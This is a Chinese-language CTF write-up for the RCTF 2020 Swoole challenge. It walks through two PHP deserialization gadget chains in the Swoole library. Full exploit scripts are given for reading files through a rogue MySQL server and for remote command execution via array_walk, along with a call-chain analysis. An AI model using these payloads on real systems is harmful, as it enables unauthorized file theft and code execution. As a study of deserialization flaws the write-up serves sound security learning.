First Gadgets–Rouge MySQL Server
Exploit
<?php function changeProperty ($object, $property, $value) { $a = new ReflectionClass($object); $b = $a->getProperty($property); $b->setAccessible(true); $b->setValue($object, $value); } $c = new \Swoole\Database\PDOConfig(); $c->withHost('ROUGE_MYSQL_SERVER'); $c->withPort(3306); $c->withOptions([ \PDO::MYSQL_ATTR_LOCAL_INFILE => 1, \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1' ]); $a = new \Swoole\ConnectionPool(function () { }, 0, '\\Swoole\\Database\\PDOPool'); changeProperty($a, 'size', 100); changeProperty($a, 'constructor', $c); changeProperty($a, 'num', 0); changeProperty($a, 'pool', new \SplDoublyLinkedList()); $d = unserialize(base64_decode('TzoyNDoiU3dvb2xlXERhdGFiYXNlXFBET1Byb3h5Ijo0OntzOjExOiIAKgBfX29iamVjdCI7TjtzOjIyOiIAKgBzZXRBdHRyaWJ1dGVDb250ZXh0IjtOO3M6MTQ6IgAqAGNvbnN0cnVjdG9yIjtOO3M6ODoiACoAcm91bmQiO2k6MDt9')); changeProperty($d, 'constructor', [$a, 'get']); $curl = new \Swoole\Curl\Handler('http://www.baidu.com'); $curl->setOpt(CURLOPT_HEADERFUNCTION, [$d, 'reconnect']); $curl->setOpt(CURLOPT_READFUNCTION, [$d, 'get']); $ret = new \Swoole\ObjectProxy(new stdClass); changeProperty($ret, '__object', [$curl, 'exec']); $s = serialize($ret); $s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) { return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"'; }, $s); echo $s; echo "\n";
Analysis
根据上面的提示大概可以猜测出是通过Rogue MySQL Server来读取文件,但是在旧版本中mysql的连接与参数配置顺序是颠倒的
可以看到在左面旧版本中是进行先数据库连接,再进行数据库选项配置。
并且在新版本中进行了更新,修复了Bug。
而Gadgets的挖掘是以旧版本为基础的,所以无法通过mysqli的连接方式配合恶意mysql进行文件读取,但是还有PDO连接可以用,通过可以实现相同的效果。下面就是调用链的分析了
ObjectProxy.php
<?php /** * This file is part of Swoole. * * @link https://www.swoole.com * @contact [email protected] * @license https://github.com/swoole/library/blob/master/LICENSE */ declare(strict_types=1); namespace Swoole; use TypeError; class ObjectProxy { /** @var object */ protected $__object; public function __construct($object) { if (!is_object($object)) { throw new TypeError('Non-object given'); } $this->__object = $object; } public function __invoke(...$arguments) { /** @var mixed $object */ $object = $this->__object; return $object(...$arguments); } }
最终触发$object(…$arguments);的调用,而如果$object的赋值为[new A,’foo’]这样是可以调用A类的foo方法的,具体的demo如下
所以现在可以进行调用任意类的无参方法了,在这个Gadget中选取的Handler的exec方法
Handler#exec
public function exec() { if (!$this->isAvailable()) { return false; } return $this->execute(); }
跟进execute函数(关键部分)
if ($client->headers) { $cb = $this->headerFunction; if ($client->statusCode > 0) { $row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n"; if ($cb) { $cb($this, $row); } $headerContent .= $row; } foreach ($client->headers as $k => $v) { $row = "{$k}: {$v}\r\n"; if ($cb) { $cb($this, $row); } $headerContent .= $row; } $headerContent .= "\r\n"; $this->info['header_size'] = strlen($headerContent); if ($cb) { $cb($this, ''); } } else { $this->info['header_size'] = 0; } if ($client->body and $this->readFunction) { $cb = $this->readFunction; $cb($this, $this->outputStream, strlen($client->body)); }
可以看到两个关键部分
1 2 3 4 5 6 7 8 |
$cb = $this->headerFunction; $cb($this, $row); $cb = $this->readFunction; $cb($this, $this->outputStream, strlen($client->body)); |
将第一个$cb设置为MysqliProxy#reconnect
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
public function reconnect(): void { $constructor = $this->constructor; parent::__construct($constructor()); $this->round++; if ($this->charsetContext) { $this->__object->set_charset($this->charsetContext); } if ($this->setOptContext) { foreach ($this->setOptContext as $opt => $val) { $this->__object->set_opt($opt, $val); } } if ($this->changeUserContext) { $this->__object->change_user(...$this->changeUserContext); } } |
将$constructor设置为ConnectionPool#get
跟进get函数
1 2 3 4 5 6 7 8 9 10 |
public function get() { if ($this->pool === null) { throw new RuntimeException('Pool has been closed'); } if ($this->pool->isEmpty() && $this->num < $this->size) { $this->make(); } return $this->pool->pop(); } |
在满足一定条件的情况下进入make函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
protected function make(): void { $this->num++; try { if ($this->proxy) { $connection = new $this->proxy($this->constructor); } else { $constructor = $this->constructor; $connection = $constructor(); } } catch (Throwable $throwable) { $this->num--; throw $throwable; } $this->put($connection); } |
从以上代码可以看出make函数可以实例化任意类,所以我们可以将proxy设置为PDOPool,将constructor变量设置为PDOConfig,从而得到一个完整的PDO实例。接着跟进put函数
1 2 3 4 5 6 7 8 9 10 11 12 13 |
public function put($connection): void { if ($this->pool === null) { return; } if ($connection !== null) { $this->pool->push($connection); } else { $this->num -= 1; $this->make(); } } |
在put函数中通过push将已经实例化好的类压入栈中,跟完make函数后,紧接着到下面的pop函数
1 |
return $this->pool->pop(); |
将刚压入栈中的实例化PDOPool类弹出并返回作为父类的构造函数的参数传给__object变量
参数设置部分代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
function changeProperty ($object, $property, $value) { $a = new ReflectionClass($object); $b = $a->getProperty($property); $b->setAccessible(true); $b->setValue($object, $value); } $c = new \Swoole\Database\PDOConfig(); $c->withHost('ROUGE_MYSQL_SERVER'); $c->withPort(3306); $c->withOptions([ \PDO::MYSQL_ATTR_LOCAL_INFILE => 1, \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1' ]); $a = new \Swoole\ConnectionPool(function () { }, 0, '\\Swoole\\Database\\PDOPool'); changeProperty($a, 'size', 100); changeProperty($a, 'constructor', $c); changeProperty($a, 'num', 0); changeProperty($a, 'pool', new \SplDoublyLinkedList()); |
跟进父类__construct的构造函数
1 2 3 4 5 6 7 8 9 10 11 12 13 |
class ObjectProxy { protected $__object; public function __construct($object) { if (!is_object($object)) { throw new TypeError('Non-object given'); } $this->__object = $object; } } |
此时ObjectProxy类的__object变量即为我们的PDOPool类
不过还需要注意的是ConnectionPool类中的Pool变量为Channel类,在此版本已经移除了其序列化,所以我们需要fuzz下同时支持isEmpty/pop/Empty三种方法的内部类,fuzz结果如下:
从上面选取一个类使用即可。
接着看第二个$cb的利用,设置Handler类readFunction为MysqliProxy中的get方法
在触发get方法的时候,由于MysqliProxy并不存在这个方法,所以触发__call方法
1 2 3 4 5 6 7 8 9 10 11 |
public function __call(string $name, array $arguments) { for ($n = 3; $n--;) { $ret = @$this->__object->{$name}(...$arguments); if ($ret === false) { ..... } return $ret; } |
由于MysqliProxy为ObjectProxy类的子类,所以这里实际触发的是PDOPool->get方法,最终完成PDO数据库连接,触发恶意mysql服务器完成数据读取,这里PDOPool类中的Pool变量并不用管,与ConnectPool类不同的是Pool变量是在反序列化的过程生成的,不会存在反序列化数据中。
Conclusion
1.利用反射进行属性修改
2.寻找pop链的时候,注意父类与子类的联系,子类可以用父类的属性,比如在此pop链中MysqliProxy可以用父类ObjectProxy中_object的属性值。
Second Gadgets–RCE
Exploit
1 2 3 4 5 6 7 8 9 10 11 |
$o = new Swoole\Curl\Handlep("http://google.com/"); $o->setOpt(CURLOPT_READFUNCTION,"array_walk"); $o->setOpt(CURLOPT_FILE, "array_walk"); $o->exec = array('whoami'); $o->setOpt(CURLOPT_POST,1); $o->setOpt(CURLOPT_POSTFIELDS,"aaa"); $o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]); $o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1); $a = serialize([$o,'exec']); echo str_replace("Handlep","Handler",urlencode(process_serialized($a))); |
Analyisis
主要是从寻找任意类的无参函数的调用开始有所区别
这RCE这条链中主要是对于这种形式如 Func($this,$var,$num)的fuzz。
大概如下
这里主要用到的是array_walk对Object的一些触发,具体demo如下:
所以正常情况下我们只需要设置下exec就可以完成命令执行了
但是在swoole中的exec调用并不是真正的exec,实际上调用的是hook后的swoole_exec
在发生错误时会直接产生Fatal Error,终止运行。
可以通过如下方法来bypass
1 2 3 4 5 6 7 8 |
array_walk($this, array_walk, 1); $this->exec=array("id") 调用=> array_walk($client_value,"client",1)=>callback not found => warning array_walk(array("id"),"exec",1)=> finish RCE |
Conclusion
1.array_walk也可以遍历对象来进行函数调用
2.二次array_walk bypass swoole_exec
Reference link
https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2020/swoole
https://blog.sometimenaive.com/2020/06/04/rctf-2020-swoole-writeup/
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论